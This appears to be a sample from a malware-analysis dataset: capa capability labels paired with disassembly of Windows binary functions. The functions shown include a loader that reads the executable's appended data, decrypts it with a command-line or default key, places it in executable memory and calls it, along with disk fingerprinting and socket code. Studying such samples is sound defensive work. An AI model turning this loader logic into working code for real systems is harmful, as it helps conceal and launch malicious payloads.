joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140048ce0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
cmp qword [rcx + 0x18], 0
mov rbx, rdx
mov rdi, rcx
je 0x140048de8
add rcx, 8
cmp qword [rcx + 0x18], 8
jb 0x140048d0f
mov rcx, qword [rcx]
lea rdx, [0x14007dab8]
call fcn.14001e39c
mov rbp, rax
test rax, rax
je 0x140048f18
xor r14d, r14d
lea rdx, [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x50], r14
call fcn.14001fcf4
xor edx, edx
lea r8d, [r14 + 2]
mov rcx, rbp
call fcn.14001f454
lea rdx, [rsp + 0x50]
mov rcx, rbp
call fcn.14001fcf4
lea rdx, [rsp + 0x60]
mov rcx, rbp
call fcn.14001fe20
mov r14d, dword [rsp + 0x50]
mov ecx, r14d
call fcn.140011b70
mov r8d, r14d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140014220
mov r9, rbp
mov r8d, 1
mov edx, r14d
mov rcx, rsi
call fcn.14001ea88
mov rcx, rbp
call fcn.14001da20
cmp qword [rdi + 0x38], 0
je 0x140048dcd
cmp qword [rdi + 0x40], 0x10
lea rcx, [rdi + 0x28]
jb 0x140048db2
mov rcx, qword [rcx]
mov r9, rbx
mov r8, r14
mov rdx, rsi
call fcn.140054b70
mov rcx, rsi
call fcn.140011b00
jmp 0x140048f18
mov r8, r14
mov rdx, rsi
mov rcx, rbx
call fcn.140003bf0
mov rcx, rsi
call fcn.140011b00
jmp 0x140048f18
mov rsi, qword [rcx + 0x58]
test rsi, rsi
je 0x140048f18
cmp qword [rcx + 0x60], 0x10
lea r15, [rcx + 0x48]
jb 0x140048e03
mov r15, qword [r15]
mov rbp, qword [rdx + 0x18]
cmp rsi, rbp
ja 0x140048e33
mov rdi, rbx
cmp rbp, 0x10
jb 0x140048e18
mov rdi, qword [rdx]
mov qword [rdx + 0x10], rsi
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call fcn.140013b70
mov byte [rdi + rsi], 0
jmp 0x140048f18
movabs rdi, 0x7fffffffffffffff
cmp rsi, rdi
ja 0x140048f2d
mov rcx, rsi
or rcx, 0xf
cmp rcx, rdi
ja 0x140048e8c
mov rdx, rbp
mov rax, rdi
shr rdx, 1
sub rax, rdx
cmp rbp, rax
ja 0x140048e8c
lea rax, [rdx + rbp]
mov rdi, rcx
cmp rcx, rax
cmovb rdi, rax
lea rax, [rdi + 1]
cmp rax, 0x1000
jb 0x140048eb2
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x140048f33
jmp 0x140048e96
movabs rcx, 0x8000000000000027
call fcn.140011b08
test rax, rax
je 0x140048f39
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140048ec7
test rax, rax
je 0x140048ec4
mov rcx, rax
call fcn.140011b08
mov r14, rax
jmp 0x140048ec7
xor r14d, r14d
mov r8, rsi
mov qword [rbx + 0x10], rsi
mov rdx, r15
mov qword [rbx + 0x18], rdi
mov rcx, r14
call fcn.140013b70
mov byte [r14 + rsi], 0
cmp rbp, 0x10
jb 0x140048f15
mov rcx, qword [rbx]
lea rdx, [rbp + 1]
cmp rdx, 0x1000
jb 0x140048f10
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140048f39
mov rcx, r8
call fcn.140011b00
mov qword [rbx], r14
mov rax, qword [rbx + 0x10]
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14000235c
int3
call fcn.140001814
int3
call fcn.140018100
int3
Function at 0x140054390
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x1090
call fcn.140012280
sub rsp, rax
mov rdi, rcx
call fcn.1400519f0
mov ebx, eax
mov dword [rsp + 0x10b8], eax
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x890]
call fcn.140014220
xor eax, eax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x44], eax
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x90]
call fcn.140014220
lea rdx, str.3eoB
lea rcx, [rsp + 0x70]
call fcn.140054f30
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140048220
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14005444c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054447
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054583
call fcn.140011b00
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
mov dword [rsp + 0x38], 0x400
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x890]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov byte [rsp + 0x10a8], bl
mov ecx, dword [rsp + 0x40]
mov byte [rsp + 0x10a9], cl
movzx eax, byte [rsp + 0x10b9]
mov byte [rsp + 0x10aa], al
mov eax, ecx
sar eax, 8
mov byte [rsp + 0x10ab], al
movzx eax, byte [rsp + 0x10ba]
mov byte [rsp + 0x10b0], al
mov eax, ecx
sar eax, 0x10
mov byte [rsp + 0x10b1], al
movzx eax, byte [rsp + 0x10bb]
mov byte [rsp + 0x10b2], al
sar ecx, 0x18
mov byte [rsp + 0x10b3], cl
mov eax, dword [rsp + 0x10a8]
rol eax, 3
mov dword [rdi], eax
mov eax, dword [rsp + 0x10b0]
ror eax, 7
mov dword [rdi + 4], eax
mov r8d, 8
mov rdx, rdi
xor ecx, ecx
call fcn.140058494
mov dword [rdi + 8], eax
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14005456a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054565
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005457d
call fcn.140011b00
mov al, 1
mov rbx, qword [rsp + 0x10a0]
add rsp, 0x1090
pop rdi
ret
call fcn.140018100
int3
call fcn.140018100
int3

Function at 0x140054590
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov rax, qword [r8]
mov qword [r8 + 8], rax
mov dword [rsp + 0x20], ecx
xor eax, eax
mov qword [rsp + 0x24], rax
movdqa xmm0, xmmword [0x14007f670]
movdqu xmmword [rsp + 0x34], xmm0
mov word [rsp + 0x24], ax
mov qword [rsp + 0x44], r8
test rdx, rdx
je 0x1400545d7
lea rcx, [rsp + 0x24]
call fcn.1400024d0
nop
lea rdx, [rsp + 0x20]
lea rcx, [0x1400512a0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rbx, qword [rdi + 8]
sub rbx, qword [rdi]
sar rbx, 3
mov rdx, qword [rsp + 0x3c]
cmp rdx, 8
jb 0x140054632
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x24]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005462d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005463f
call fcn.140011b00
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
call fcn.140018100
int3
Function at 0x140055a24
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov ecx, 0x101
lea rdx, [rbp - 0x50]
xor ebx, ebx
call qword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
jne 0x140055b36
movzx eax, word [rbp - 0x50]
cmp al, 1
jne 0x140055b36
shr ax, 8
cmp al, 1
jne 0x140055b36
mov rax, qword [str.1.pool.ntp.org]
mov dword [rbp - 0x78], 0x1388
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
test rax, rax
je 0x140055b32
mov edi, ebx
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140061880
test eax, eax
je 0x140055afe
lea rcx, [rbp + 0x168]
call fcn.140061d20
lea r8, [rsp + 0x70]
mov rcx, rax
lea rdx, [rbp + 0x160]
call fcn.140061bf0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x160]
call fcn.140061e20
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x30], xmm0
call fcn.1400506c0
test eax, eax
jne 0x140055b13
inc rdi
lea rax, str.1.pool.ntp.org
mov rax, qword [rax + rdi*8]
test rax, rax
je 0x140055b32
jmp 0x140055a9c
movzx eax, word [rsp + 0x22]
movzx ebx, al
movzx eax, word [rsp + 0x20]
shl eax, 8
or ebx, eax
movzx eax, word [rsp + 0x26]
movzx ecx, al
shl ebx, 8
or ebx, ecx
mov eax, ebx
jmp 0x140055b38
xor eax, eax
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x140055b54
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xf40]
mov eax, 0x1040
call fcn.140012280
sub rsp, rax
mov bl, cl
mov edi, 0x800
mov r8d, edi
lea rcx, [rbp + 0x740]
xor edx, edx
call fcn.140014220
mov r8d, edi
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.140014220
mov edx, edi
lea rcx, [rbp + 0x740]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, edi
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea rdx, [rsp + 0x30]
xor edi, edi
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x38], eax
xor r8d, r8d
mov word [rsp + 0x3c], ax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
call fcn.14001f1d8
lea rcx, [rsp + 0x30]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x140055bec
mov eax, dword [0x14007da68]
mov r8b, 1
mov dword [rcx], eax
mov dl, bl
lea rcx, [rbp + 0x740]
call fcn.1400508c0
test al, al
jne 0x140055c3c
xor r8d, r8d
lea rcx, [rsp + 0x40]
mov dl, bl
call fcn.1400508c0
test al, al
jne 0x140055c3c
xor r8d, r8d
lea rcx, [rsp + 0x30]
mov dl, bl
call fcn.1400508c0
test al, al
jne 0x140055c3c
mov al, 1
jmp 0x140055c3e
xor al, al
lea r11, [rsp + 0x1040]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140057670
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x50
xor edi, edi
mov r14d, edx
cmp qword [rcx + 0x18], 8
mov rbx, rcx
jb 0x14005769d
mov rcx, qword [rcx]
call fcn.1400456d0
test al, al
je 0x140057762
cmp qword [rbx + 0x18], 8
jb 0x1400576b4
mov rbx, qword [rbx]
lea rdx, [0x14007dab8]
mov rcx, rbx
call fcn.14001e39c
mov rbx, rax
test rax, rax
je 0x140057762
mov rcx, rax
call fcn.140044e40
mov esi, eax
cmp eax, 0x28
jbe 0x14005775a
mov edx, 0x28
mov dword [rbp - 0x30], 0x48535844
xorps xmm0, xmm0
mov qword [rbp - 0x2c], 0x28
mov r9, rbx
movsd qword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x24], edi
lea r8d, [rdx - 0x27]
mov word [rbp - 0x18], di
mov qword [rbp - 0x14], rdi
mov dword [rbp - 0xc], edi
call fcn.14001ea88
test rax, rax
je 0x14005775a
mov eax, dword [rbp - 0x24]
not eax
ror eax, 3
cmp eax, r14d
jne 0x14005775a
cmp dword [rbp - 0x30], 0x48535844
jne 0x14005775a
cmp dword [rbp - 0x2c], 0x28
jne 0x14005775a
mov eax, dword [rbp - 0x10]
mov ecx, dword [rbp - 0xc]
add rcx, rax
mov eax, dword [rbp - 0x14]
add rcx, rax
movzx eax, word [rbp - 0x18]
add rax, 0x28
add rcx, rax
cmp rcx, rsi
sete dil
mov rcx, rbx
call fcn.14001da20
mov rbx, qword [rsp + 0x60]
mov al, dil
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x14005aa24
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov edi, dword [rcx + 0x44]
mov rbx, rcx
mov r9d, dword [rcx + 0x9c]
mov edx, dword [rbx + 0x94]
mov esi, dword [rbx + 0x58]
mov ecx, dword [rbx + 0x44]
sub esi, edx
add ecx, 0xfffffefa
sub esi, r9d
add ecx, edi
cmp edx, ecx
jb 0x14005aade
mov rcx, qword [rbx + 0x50]
mov r8, rdi
lea rdx, [rdi + rcx]
call fcn.140013b70
mov r9d, dword [rbx + 0x74]
mov rax, qword [rbx + 0x68]
sub dword [rbx + 0x98], edi
sub dword [rbx + 0x94], edi
sub dword [rbx + 0x84], edi
lea r8, [rax + r9*2]
xor eax, eax
lea r8, [r8 - 2]
movzx edx, word [r8]
movzx ecx, dx
sub cx, di
cmp edx, edi
cmovae ax, cx
mov word [r8], ax
add r9d, 0xffffffff
jne 0x14005aa91
mov rax, qword [rbx + 0x60]
mov r9d, edi
lea r8, [rax + rdi*2]
xor eax, eax
lea r8, [r8 - 2]
movzx edx, word [r8]
movzx ecx, dx
sub cx, di
cmp edx, edi
cmovae ax, cx
mov word [r8], ax
add r9d, 0xffffffff
jne 0x14005aabc
add esi, edi
mov rcx, qword [rbx]
cmp dword [rcx + 8], 0
je 0x14005ab58
mov edx, dword [rbx + 0x9c]
mov r8d, esi
mov eax, dword [rbx + 0x94]
add rdx, rax
add rdx, qword [rbx + 0x50]
call fcn.14005aeb4
add dword [rbx + 0x9c], eax
mov r9d, dword [rbx + 0x9c]
cmp r9d, 3
jb 0x14005ab42
mov eax, dword [rbx + 0x94]
mov rdx, qword [rbx + 0x50]
mov ecx, dword [rbx + 0x80]
movzx r8d, byte [rax + rdx]
mov dword [rbx + 0x70], r8d
shl r8d, cl
inc eax
movzx eax, byte [rax + rdx]
xor r8d, eax
and r8d, dword [rbx + 0x7c]
mov dword [rbx + 0x70], r8d
cmp r9d, 0x106
jae 0x14005ab58
mov rax, qword [rbx]
cmp dword [rax + 8], 0
jne 0x14005aa46
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14005fcb0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x40
mov rcx, rdx
mov rbx, r8
mov rdi, rdx
call fcn.140044e40
movsxd rcx, eax
mov r14d, socket
cmp rcx, r14
jb 0x14005fd4c
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.14001f454
and dword [rsp + 0x2c], 0
lea ebp, [r14 - 0x13]
and dword [rsp + 0x30], 0
lea rcx, [rsp + 0x20]
mov r8d, ebp
mov dword [rsp + 0x20], 0x58453144
mov r9, rdi
mov dword [rsp + 0x24], 0x10014
mov edx, r14d
mov byte [rsp + 0x28], 0
call fcn.14001ea88
test rax, rax
je 0x14005fd4c
cmp dword [rsp + 0x20], 0x58453144
jne 0x14005fd4c
test rbx, rbx
je 0x14005fd47
movups xmm0, xmmword [rsp + 0x20]
mov ecx, dword [rsp + 0x30]
movups xmmword [rbx], xmm0
mov dword [rbx + 0x10], ecx
mov al, bpl
jmp 0x14005fd4e
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop r14
ret

Function at 0x140061250
Capabilities:
Connect socket
Resolve dns
Set socket configuration

Disassembly:
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rsi
mov rsi, rcx
mov qword [rbp + 0x30], rdi
test rdx, rdx
je 0x140061303
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rdx + rax*2], 0
jne 0x140061280
lea r8d, [rax + 1]
cmp r8d, 0x3fffffff
jg 0x140061303
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x1400612b4
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140012280
sub rsp, rcx
lea rdi, [rsp + 0x40]
test rdi, rdi
je 0x140061303
xor ebx, ebx
mov byte [rdi], 0
lea eax, [r8 + r8]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov r8, rdx
mov dword [rsp + 0x28], eax
xor edx, edx
lea r9d, [rbx - 1]
mov qword [rsp + 0x20], rdi
lea ecx, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rdi, rbx
jmp 0x140061307
xor ebx, ebx
mov edi, ebx
mov eax, 2
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov word [rbp], ax
lea ecx, [rax + 0x79]
call qword [sym.imp.WSOCK32.dll_htons]
mov rcx, rdi
mov word [rbp + 2], ax
call qword [sym.imp.WSOCK32.dll_inet_addr]
mov dword [rbp + 4], eax
cmp eax, 0xffffffff
jne 0x14006134f
mov rcx, rdi
call qword [sym.imp.WSOCK32.dll_gethostbyname]
test rax, rax
je 0x14006137b
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 4], eax
mov rcx, qword [rsi]
lea rdx, [rbp]
mov r8d, reloc.WSOCK32.dll_recv
call qword [sym.imp.WSOCK32.dll_connect]
test eax, eax
sete bl
mov eax, ebx
mov rbx, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x28]
mov rdi, qword [rbp + 0x30]
lea rsp, [rbp + 0x10]
pop rbp
ret
mov rbx, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x28]
mov rdi, qword [rbp + 0x30]
lea rsp, [rbp + 0x10]
pop rbp
ret
Function at 0x1400014a0
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbx
push rbp
push r13
sub rsp, 0x270
mov rax, qword [0x140067e30]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov r13, rcx
lea rcx, [rsp + 0x52]
xor ebp, ebp
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], bp
call fcn.14002d720
lea rdx, [rsp + 0x50]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0x30], rbp
lea r8d, [rbp + 1]
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
test rax, rax
je 0x140001606
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x2a0], rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test eax, eax
jne 0x14000154e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400015fe
lea ecx, [rax + 1]
mov qword [rsp + 0x298], rsi
call fcn.140004400
lea r9, [rsp + 0x40]
mov r8d, edi
mov rcx, rbx
mov rdx, rax
mov dword [rsp + 0x40], ebp
mov rsi, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000158f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400015f6
mov rcx, rbx
mov qword [rsp + 0x2a8], r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd r11, dword [rsi + 0x3c]
add r11, rsi
movzx eax, word [r11 + 6]
dec eax
cdqe
lea rcx, [rax + rax*4]
mov r12d, dword [r11 + rcx*8 + 0x11c]
mov ebp, dword [r11 + rcx*8 + 0x118]
sub edi, r12d
sub edi, ebp
jne 0x1400015cf
xor eax, eax
jmp 0x1400015ee
mov ecx, edi
call fcn.140004400
lea edx, [r12 + rbp]
mov r8d, edi
add rdx, rsi
mov rcx, rax
mov qword [r13], rax
call fcn.14002ba20
mov eax, edi
mov r12, qword [rsp + 0x2a8]
mov rsi, qword [rsp + 0x298]
mov rdi, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14002b790
add rsp, 0x270
pop r13
pop rbp
pop rbx
ret
Function at 0x140001630
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
mov r11, rsp
push r12
sub rsp, 0x2a0
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov rax, qword [0x140067e30]
xor rax, rsp
mov qword [rsp + 0x290], rax
lea rax, vtable.CFileHelp.0
mov qword [rsp + 0x70], rax
xor r12d, r12d
mov qword [rsp + 0x78], r12
mov dword [r11 - 0x228], r12d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x34]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea rbx, str.defkey
cmp dword [rsp + 0x34], 2
cmovge rbx, qword [rax + 8]
lea rcx, [rsp + 0x38]
call fcn.1400014a0
mov esi, eax
mov dword [rsp + 0x30], r12d
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.140002d90
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x30]
xor r8d, r8d
mov edx, esi
mov rbx, qword [rsp + 0x38]
mov rcx, rbx
call fcn.140003110
movsxd rcx, dword [rsp + 0x30]
test ecx, ecx
jne 0x140001713
mov eax, esi
cdq
idiv r12d
mov esi, eax
call fcn.140004400
mov rdi, rax
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x30]
mov r8, rax
mov edx, esi
mov rcx, rbx
call fcn.140003110
mov edx, dword [0x14006f3b8]
test dl, 1
jne 0x140001780
or edx, 1
mov dword [0x14006f3b8], edx
mov dword [0x14006f380], r12d
mov qword [0x14006f390], r12
mov qword [0x14006f388], r12
mov dword [0x14006f3b0], r12d
lea rcx, [0x1400497f0]
call fcn.14002b8fc
nop
cmp qword [0x14006f390], 0
jne 0x140001797
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call fcn.140001bd0
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1400017a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_640
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x140007f9f
cmp dword [rcx + 0xa8], 0
jne 0x140007f9f
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.140014b0c
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.140007f04
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140001810
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001843
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001887
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140001882
cmp rbx, r11
jae 0x140001887
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140001870
cmp rbx, r11
jb 0x14000188b
xor eax, eax
jmp 0x140001897
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001bd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movsxd r10, edx
mov rsi, rcx
mov rdx, rcx
lea rcx, [0x14006f380]
mov r8d, r10d
call fcn.140002150
test eax, eax
jne 0x140001c38
lea r9d, [rax + 0x40]
mov r8d, 0x3000
mov rdx, r10
xor ecx, ecx
mov rdi, r10
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.14002ba20
call rbx
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
lea rcx, [0x14006f380]
call fcn.140002280
test eax, eax
je 0x140001c26
mov rcx, qword [0x14006f3a0]
mov dword [0x14006f3b4], eax
movsxd rdi, eax
mov rcx, qword [rcx + 0x30]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001cb7
mov rcx, qword [0x14006f3a0]
lea r9d, [rax + 0x40]
mov r8d, 0x3000
mov rcx, qword [rcx + 0x30]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001cb7
lea r9d, [rax + 0x40]
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [0x14006f220], rbx
test rbx, rbx
je 0x140001c26
lea rcx, [0x14006f380]
mov r8, rsi
mov rdx, rbx
call fcn.140002300
mov r11, qword [0x14006f3a0]
cmp dword [r11 + 0xb0], 0
jbe 0x140001d03
cmp dword [r11 + 0xb4], 0
jbe 0x140001d03
lea rcx, [0x14006f380]
mov rdx, rbx
call fcn.140001de0
lea rcx, [0x14006f380]
mov rdx, rbx
call fcn.140001ea0
mov rcx, rbx
test eax, eax
jne 0x140001d39
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x14006f3a0]
mov r11d, ebx
mov qword [rax + 0x30], r11
mov rax, qword [0x14006f3a0]
mov rcx, rbx
mov edx, dword [rax + 0x28]
add rdx, rbx
mov qword [0x14006f388], rdx
call rdx
test eax, eax
jne 0x140001daf
mov rcx, rbx
call qword [0x14006f388]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x14006f388], 0
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rsi, qword [rsp + 0x38]
mov qword [0x14006f390], rbx
mov rbx, qword [rsp + 0x30]
mov dword [0x14006f380], 1
mov eax, 1
